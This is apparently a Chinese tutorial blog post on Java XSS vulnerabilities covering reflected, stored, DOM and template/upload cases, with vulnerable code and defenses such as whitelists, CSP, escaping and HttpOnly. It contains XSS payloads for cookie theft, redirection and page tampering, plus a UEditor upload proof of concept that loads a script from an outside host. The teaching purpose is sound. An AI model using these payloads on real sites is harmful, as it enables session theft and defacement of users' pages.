JavaSec-XSS

发布于:2025-06-06 ⋅ 阅读:(23) ⋅ 点赞:(0)

反射型XSS

简介

XSS(跨站脚本攻击)利用浏览器对服务器内容的信任,攻击者通过在网页中注入恶意脚本,使这些脚本在用户的浏览器上执行,从而实现攻击。常见的XSS攻击危害包括窃取用户会话信息、篡改网页内容、将用户重定向到恶意网站,以及执行恶意操作(如点击劫持和钓鱼攻击)
  反射型XSS:攻击者通过在URL参数中注入恶意脚本,使服务器将该脚本直接反射回用户浏览器并执行。该攻击一般不涉及数据库,而是通过服务器处理用户请求时立即返回恶意内容

1.GET型

1.探测漏洞标签(用来测试是否存在漏洞)

123<u>A</u>123

1.恶意流量劫持

重定向恶意网站-SEO引流<a href=javascript:window.location.href='http://bilibili.com'>Click Me</a>

其中里面的http://bilibili.com可以替换成实际要攻击的网站

我们点击,发现跳转到b站了

2.窃取用户信息

<a href='/other/cookie.txt' target='_blank'>点击查看</a><script src='/static/js/hackcookie.js'></script>

点击进行查看

发现存在用户ip和cookie等敏感信息

3.篡改网页内容

修改背景颜色为红色<img src οnerrοr=javascript:document.getElementsByClassName('layuimini-container')[0].style.backgroundColor='red'>

POST型同上

2.String型

发现直接弹出页面

缺陷代码

// 原生漏洞场景,未加任何过滤,Controller接口返回Json类型结果
public R vul1(String content) {
    return R.ok(content);
}
// R 是对返回结果的封装工具util
// 返回结果:
// {
//     "msg": "<script>alert(document.cookie)</script>",
//     "code": 0
// }
// payload在json中是不会触发xss的 需要解析到页面中

// 原生漏洞场景,未加任何过滤,Controller接口返回String类型结果
public String vul2(String content) {
    return content;
}

3.Content-Type问题

1.textplain: 浏览器在获取到这种文件时并不会对其进行处理,将文件设置为纯文本的形式

2.texthtml:浏览器在获取到这种文件时会自动调用html的解析器对文件进行相应的处理

缺陷代码

// Tomcat内置HttpServletResponse,Content-Type导致反射XSS
public void vul3(String type,String content, HttpServletResponse response) {
    switch (type) {
        case "html":
            response.getWriter().print(content);
            response.setContentType("text/html;charset=utf-8");
            response.getWriter().flush();
            break;
        case "plain":
            response.getWriter().print(content);
            response.setContentType("text/plain;charset=utf-8");
            response.getWriter().flush();
            ...
    }
}

4.安全场景

1.用户输入验证和过滤

前端白名单:在前端代码中执行,用于过滤或验证用户输入的数据,UI友好,不安全,容易被绕过
后端白名单:后端业务逻辑处理或数据支持化层面执行,更安全,不易绕过

安全代码

// 对用户输入的数据进行验证和过滤,确保不包含恶意代码。使用白名单过滤,只允许特定类型的输入,如纯文本或指定格式的数据
// 前端校验代码
var whitelistRegex = /^[a-zA-Z0-9_\s]+$/;

// 检查输入值是否符合白名单要求
if (!whitelistRegex.test(value)) {
	layer.msg('输入内容包含非法字符,请检查输入', {icon: 2, offset: '10px'});
	return false; // 取消表单提交
    } else {
    	// 正常发送请求
    }

// 后端校验代码
private static final String WHITELIST_REGEX = "^[a-zA-Z0-9_\\s]+$";
private static final Pattern pattern = Pattern.compile(WHITELIST_REGEX);

Matcher matcher = pattern.matcher(content);
if (matcher.matches()){
    return R.ok(content);
}else return R.error("输入内容包含非法字符,请检查输入");

2.内容安全策略-CSP防护

内容安全策略(CSP:Content Security Policy)是一种由浏览器实施的安全机制(可理解为额外的安全层),旨在减少和防范跨站脚本攻击等安全威胁
  核心原理:网站通过发送一个CSP header头部(也可以在html直接设置),告诉浏览器具体的策略(什么是授权的与什么是被禁止的),从而防止恶意内容的加载和执行
  CSP 指令说明:
    default-src: 指定默认的加载内容的来源,如果未指定其他指令,则默认应用此指令
    script-src: 指定允许加载 JavaScript 的来源
    style-src: 指定允许加载样式表的来源
    img-src: 指定允许加载图片的来源
    connect-src: 指定允许向其发送请求的来源(例如 AJAX、WebSocket 连接等)

安全代码

// 内容安全策略(Content Security Policy)是一种由浏览器实施的安全机制,旨在减少和防范跨站脚本攻击(XSS)等安全威胁。它通过允许网站管理员定义哪些内容来源是可信任的,从而防止恶意内容的加载和执行
// 前端Meta配置
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self' https://apis.example.com; style-src 'self' https://fonts.googleapis.com; img-src 'self' data: https://*.example.com;">


// 后端Header配置
public String safe2(String content,HttpServletResponse response) {
    response.setHeader("Content-Security-Policy","default-src self");
    return content;
}

3.特殊字符实体转义

实体编码(Entity Encoding)是一种将特殊字符转换为HTML实体的过程,以确保这些字符能够在HTML文档中正确显示而不会被解释为HTML标记。
常见的实体编码包括将 < 转换为 &lt; 将 > 转换为 &gt; 等。
PS:这里前端实体编码Demo放到了存储型XSS模块中

安全代码

// 特殊字符实体转义是一种将HTML中的特殊字符转换为预定义实体表示的过程
// 这种转义是为了确保在HTML页面中正确显示特定字符,同时避免它们被浏览器误解为HTML标签或JavaScript代码的一部分,从而导致页面结构混乱或安全漏洞
public R safe3(@ApiParam(String type, String content) {
    String filterContented = "";
    switch (type){
        case "manual":
            content = StringUtils.replace(content, "&", "&amp;");
            content = StringUtils.replace(content, "<", "&lt;");
            content = StringUtils.replace(content, ">", "&gt;");
            content = StringUtils.replace(content, "\"", "&quot;");
            content = StringUtils.replace(content, "'", "&#x27;");
            content = StringUtils.replace(content, "/", "&#x2F;");
            filterContented = content;
            break;
        case "spring":
            filterContented = HtmlUtils.htmlEscape(content);
            break;
            ...
    }
}

4.HttpOnly配置

单个接口配置:并非所有的cookie都必须设置为HttpOnly,可能有一些cookie是需要客户端JavaScript访问的,例如用于前端操作或分析目的的cookie
  全局配置场景:在整个应用程序中所有的cookie都具有HttpOnly属性,可以考虑在全局配置中进行设置
使用HttpOnly并不是绝对安全的,以下三个场景还是会存在安全问题:
    1、当攻击者使用CSRF+XSS进行攻击时,可绕过绕过浏览器的安全限制
    2、中间人攻击
    3、恶意浏览器插件

安全代码

// HttpOnly是HTTP响应头属性,用于增强Web应用程序安全性。它防止客户端脚本访问(只能通过http/https协议访问)带有HttpOnly标记的 cookie,从而减少跨站点脚本攻击(XSS)的风险
// 单个接口配置
public R safe4(String content, HttpServletRequest request,HttpServletResponse response) {
    Cookie cookie = request.getCookies()[ueditor];
    cookie.setHttpOnly(true); // 设置为 HttpOnly
    cookie.setMaxAge(600);  // 这里设置生效时间为十分钟
    cookie.setPath("/");
    response.addCookie(cookie);
    return R.ok(content);
}

// 全局配置
// ueditor、application.yml配置
server:
  servlet:
    session:
      cookie:
        http-only: true

// 2、Springboot配置类
@Configuration
public class ServerConfig {
    @Bean
    public WebServerFactoryCustomizer<ConfigurableWebServerFactory> webServerFactoryCustomizer() {
        return factory -> {
            Session session = new Session();
            session.getCookie().setHttpOnly(true);
            factory.setSession(session);
            ...
}

存储型XSS

简介

存储型XSS:攻击者将恶意脚本上传到目标网站的数据库,用户访问网站时执行这些恶意脚本,达到攻击目的。该攻击经过服务器和数据库

1.漏洞场景:原生无过滤

漏洞场景:
    用户交互的地方:get、post、headers、反馈与浏览、富文本编辑器、标签插入和自定义
    数据输出的地方:用户资料、关键词、评论、留言、关键词、标签、说明、文件上传

缺陷代码

/ 原生漏洞场景,未加任何过滤,将用户输入存储到数据库中
// Controller层
public R vul(String content,HttpServletRequest request) {
    String ua = request.getHeader("User-Agent");
    final int code = xssService.insertOne(content,ua);
    ...
}
// Service层
public int insertOne(String content, String ua) {
    final int code = xssMapper.insertAll(content,ua,DateUtil.now());
    return code;
}
// Mapper层
int insertAll(String content,String ua,String date);

<insert id="insertAll">
    insert into xss
        (content,ua, date)
    values (#{content,jdbcType=VARCHAR},#{ua,jdbcType=VARCHAR}, #{date,jdbcType=VARCHAR})
</insert>

2.安全场景:前端实体转义

前端实体转义就是将可能是包含HTML标签的内容,先中转存储为纯文本,当浏览器进行渲染时,会将纯文本内容中特殊字符进行实体转义(浏览器策略),确保可以正确展示

// 表格数据渲染
table.render({
	...
    cols: [
        {field: 'id', title: 'ID', sort: true, width: '60', fixed: 'left'},
        {field: 'content', title: 'Content', width: '200', templet: function(d){
                return escapeHtml(d.content); 
            }},
        {field: 'ua', title: 'User-Agent', width: '200', templet: function(d){
                return escapeHtml(d.ua); 
            }},
      	...
// 方法一、HTML 实体转义函数
function escapeHtml(html) {
    var text = document.createElement("textarea");
    text.textContent = html;
    return text.innerHTML;
}
// 方法二、JavaScript的文本节点
var textNode = document.createTextNode(htmlContent);
element.appendChild(textNode);
// 方法三、jQuery的text()方法
$('#element').text(htmlContent);

DOM型XSS

1.简介

DOM(Document Object Model)即文档对象模型,是HTML和XML文档的编程接口 DOM型XSS:攻击者利用客户端的DOM环境,通过操纵页面的DOM元素来注入和执行恶意脚本。该攻击不经过服务器和数据库

一些可能导致DOM XSS的SINK点:
    document.write()
    document.writeln()
    document.domain
    element.innerHTML
    element.outerHTML
    element.insertAdjacentHTML
    element.onevent
PS:除此之外,还有URL参数注入、DOM属性注入、document.write、eval等场景,后续会进行补充

其他类型

简介

包含模版引擎解析问题、文件上传特殊文件类型、第三方依赖问题(供应链安全)...

1.漏洞场景:模版引擎解析问题

th:text用于展示纯文本,会对特殊字符进行转义
th:utext则不进行转义,直接展示原始HTML内容
当获取后端传来的参数中带有HTML标签时,th:text不会解析这些标签,而th:utext 会解析并渲染它们。这类似于Vue中的v-text和v-html

缺陷代码

public String handleTemplateInjection(String content,String type, Model model) {
    if ("html".equals(type)) {
        model.addAttribute("html", content);
    } else if ("text".equals(type)) {
        model.addAttribute("text", content);
    }
    return "vul/xss/other";
}

<div class="layui-card-body layui-text layadmin-text" style="color: red;font-size: 15px;">
        <p th:utext="${html}"></p>
        <p th:text="${text}"></p>
</div>

2.漏洞场景:文件上传导致存储XSS

除了文件上传导致存储XSS,xml场景下还需要后端进行xml解析
这里PDF型XSS实际是没有危害的,考虑到合规监管问题,还是放上去了
PS:除此之外,还有flash等漏洞场景,后续会补充

缺陷代码

public String uploadFile(MultipartFile file, String suffix,String path) throws IOException {
    String uploadFolderPath = sysConstant.getUploadFolder();
    try {
        String fileName = +DateUtil.current() + "."+suffix;
        String newFilePath = uploadFolderPath + "/" + fileName;

        file.transferTo(new File(newFilePath)); // 将文件保存到指定路径
        log.info("上传文件成功,文件路径:" + newFilePath);
        return "上传文件成功,文件路径:" + path + fileName;
    } catch (IOException e) {
        e.printStackTrace(); // 打印异常堆栈信息
        log.info("文件上传失败" + e.getMessage());
        return "文件上传失败" + e.getMessage();
    }
}

3.漏洞场景:第三方组件导致XSS-供应链安全

为什么要单独抽出来呢?
  这里的XSS场景可以看出是由第三方组件导致的,也就引出了所谓的供应链安全(当然不止这些)
风险识别与修复方案?
  一般企业在DevOps流水线中会嵌入相关安全扫描环境(SCA、SAST、IAST……)进行应用安全扫描
  针对供应链安全,可使用专门的SCA工具进行软件成分扫描,升级到修复版本或采用非升级修复方案

1.jQuery

在版本[1.2,3.5.0)范围内存在多个XSS漏洞 eg:

CVE-2020-11022

CVE-2020-11023

2.Swagger-ui

在版本内[3.14.1,3.38.0)范围内存在XSS漏洞

3.Ueditor编辑器

poc

拼接路径/ueditor/php/controller.php?action=uploadfile

Content-Disposition: form-data; name="upfile"; filename="1.xml"
Content-Type: image/png
<html>
<head></head>
<body>
<something:script xmlns:something="http://www.w3.org/1999/xhtml" src="https://xcjh.ahredcross.org.cn/ueditor/upload/image/20240723/6385736220575785005385782.js">
</something:script>
</body>
</html>



或者
 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary209pDxz5IJ3h3EeJ
> Content-Length: 348
>
> ------WebKitFormBoundary209pDxz5IJ3h3EeJ
> Content-Disposition: form-data; name="upfile"; filename="1.xml"
> Content-Type: image/png
>
> <html>
> <head></head>
> <body>
> <something:script xmlns:something="http://www.w3.org/1999/xhtml"> alert(1);
> </something:script>
> </body>
> </html>
> ------WebKitFormBoundary209pDxz5IJ3h3EeJ--
> -----------------------

缺陷代码

// jQuery依赖
<head>
  <meta charset="utf-8">
  <title>jQuery XSS Examples (CVE-2020-11022/CVE-2020-11023)</title>
  <!-- 测试JQuery -->
  <script src="/lib/jquery-1.6.1.js"></script>
  <!-- <script src="./jquery.min.js"></script> -->
</head>

<!--swagger依赖-->
<dependency>
    <groupId>io.springfox</groupId>
    <artifactId>springfox-boot-starter</artifactId>
    <version>3.0.0</version>	// 该版本存在xss
</dependency>

// Ueditor编辑器未做任何限制 抓上传数据包后,可以上传任意类型文件